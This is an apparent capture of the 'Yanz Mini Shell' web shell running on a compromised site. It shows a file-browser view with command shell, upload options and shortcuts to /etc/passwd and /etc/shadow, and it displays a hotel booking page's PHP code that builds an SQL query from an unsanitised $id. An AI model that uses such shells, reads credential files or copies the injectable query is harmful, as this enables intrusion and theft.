Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
naacpd
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $data_query = $pdo->query("SELECT R.*, C.category_name, F.regular_fare, L.floor_no FROM room_information R, room_category C, fare_rate F, floor_information L WHERE R.category_id=C.id AND R.fare_id=F.id AND R.floor_id=L.id AND R.is_active='1' AND R.id='$id' ORDER BY R.room_no ASC;"); $data_row = $data_query->fetch(); ?> <!-- Page Banner Section Start --> <div class="full-row overlay-secondery-opacity-65 bg-img-5" id="page-banner" style="height: 260px;"> <div class="container"> <div class="row py-80"> <div class="col-md-6"> <br><br><h1 class="banner-title text-white">Room Details</h1> </div> <div class="col-md-6"> <ul class="pages-link float-right"> <li><a href="?page=home">Home</a></li> <li>/</li> <li>Room Details</li> </ul> </div> </div> </div> </div> <!-- Page Banner Section End --> <section class="full-row bg-gray"> <div class="container"> <div class="row"> <div class="col-lg-8"> <div class="room-item-details"> <div class="img-slide"> <div id="carouselExampleIndicators" class="carousel slide" data-ride="carousel"> <div class="carousel-inner"> <div class="carousel-item active"> <img src="all-images/room/<?php echo $data_row["image"]; ?>" alt="Image not found!" height="400"> </div> </div> <div class="slider-arrow"> <a class="carousel-control-prev" href="#carouselExampleIndicators" role="button" data-slide="prev"> <i class="fas fa-angle-double-left"></i> </a> <a class="carousel-control-next" href="#carouselExampleIndicators" role="button" data-slide="next"> <i class="fas fa-angle-double-right"></i> </a> </div> </div> </div> <div class="room-detail-info bg-white"> <div class="float-left"> <h3><?php echo $data_row["title"]; ?></h3> <span><?php echo $data_row["attribute"]; ?></span> </div> <div class="float-right text-right"> <div class="amount-per-night"><b>TK. <?php echo $data_row["regular_fare"]; ?>/</b> <span>seat per night </span></div> <div class="review"> <i class="fas fa-star"></i> <i class="fas fa-star"></i> <i class="fas fa-star"></i> <i class="fas fa-star"></i> <i class="fas fa-star"></i> (20 Review) </div> </div> </div> <div class="bg-white p-4 mt-4 table-style-3"> <h3>Room Details</h3> <table width="100%"> <tbody> <tr> <td width="25%"><span>Room Type</span></td> <td width="25%">: <?php echo $data_row["category_name"]; ?></td> <td width="20%"><span>Room No</span></td> <td width="25%">: R-<?php echo $data_row["room_no"]; ?></td> </tr> <tr> <td><span>Num of Seat </span></td><td>: <?php echo $data_row["num_of_seat"]; ?></td> <td><span>Fare per Seat </span></td><td>: <?php echo $data_row["regular_fare"]; ?></td> </tr> <tr> <td><span>Floor</span></td><td>: <?php echo $data_row["floor_no"]; ?></td> <td><span>Status </span></td><td>: Available</td> </tr> </tbody> </table> </div> <div class="text-block-1 mt-4"> <h4>Description</h4> <p><?php echo $data_row["description"]; ?></p> </div> </div> </div> <div class="col-lg-4"> <div class="widget check-form"> <h3>Check Availability</h3> <form action="#" autocomplete="off"> <div class="form-group mb-4"> <label>Checkin Date</label> <input type="text" name="checkin_date" id="checkin_date" class="form-control date-picker"> </div> <div class="form-group mb-4"> <label>Checkout Date</label> <input type="text" name="checkout_date" id="checkout_date" class="form-control date-picker"> </div> <div class="form-group mb-4"> <label>Number of Seat</label> <select class="selectpicker form-control" name="num_of_seat" id="num_of_seat"> <?php for($i=1; $i<=$data_row["num_of_seat"]; $i++){?> <option value="<?php echo $i;?>"><?php echo $i;?></option> <?php }?> </select> </div> <button id="<?php echo $data_row["id"]; ?>" type="button" class="btn btn-primary check_availability">Check Availability</button><br><br> <a href="?page=booking-form&id=<?php echo $data_row["id"]; ?>" class="btn btn-secondery">Book Now</a> </form> </div> </div> </div> </div> </section> <div class="modal fade" id="check_availability_modal" style="margin-top: 100px;"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header text-center"> <p class="modal-title"><i class="fas fa-user"> </i>Availability Timeline</p> </div> <div class="modal-body p-4"> <h6>Availability timeline of next 50 days</h6> <div class="bg-white p-0 mb-4 pb-4" style="overflow-x: auto;"> <table border="1" class="data-table" id="check_availability_table"> </table> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-danger btn-sm" data-dismiss="modal" style="line-height: 25px;">Okey</button> </div> </div> </div> </div> <script> $(document).ready(function(){ $(document).on('click', '.check_availability', function(){ var room_id = $(this).attr("id"); var checkin_date = document.getElementById("checkin_date").value; var checkout_date = document.getElementById("checkout_date").value; var num_of_seat = document.getElementById("num_of_seat").value; var dataString = "room_id="+room_id+"&num_of_seat="+num_of_seat+"&checkin_date="+checkin_date+"&checkout_date="+checkout_date; if(room_id != '') { $.ajax({ type:'POST', url:"data-ajax/check_availability_by_partial.php", data: dataString, success:function(data){ $('#check_availability_table').html(data); $('#check_availability_modal').modal('show'); } }); } }); }); </script>
Free Space : 464322215936 Byte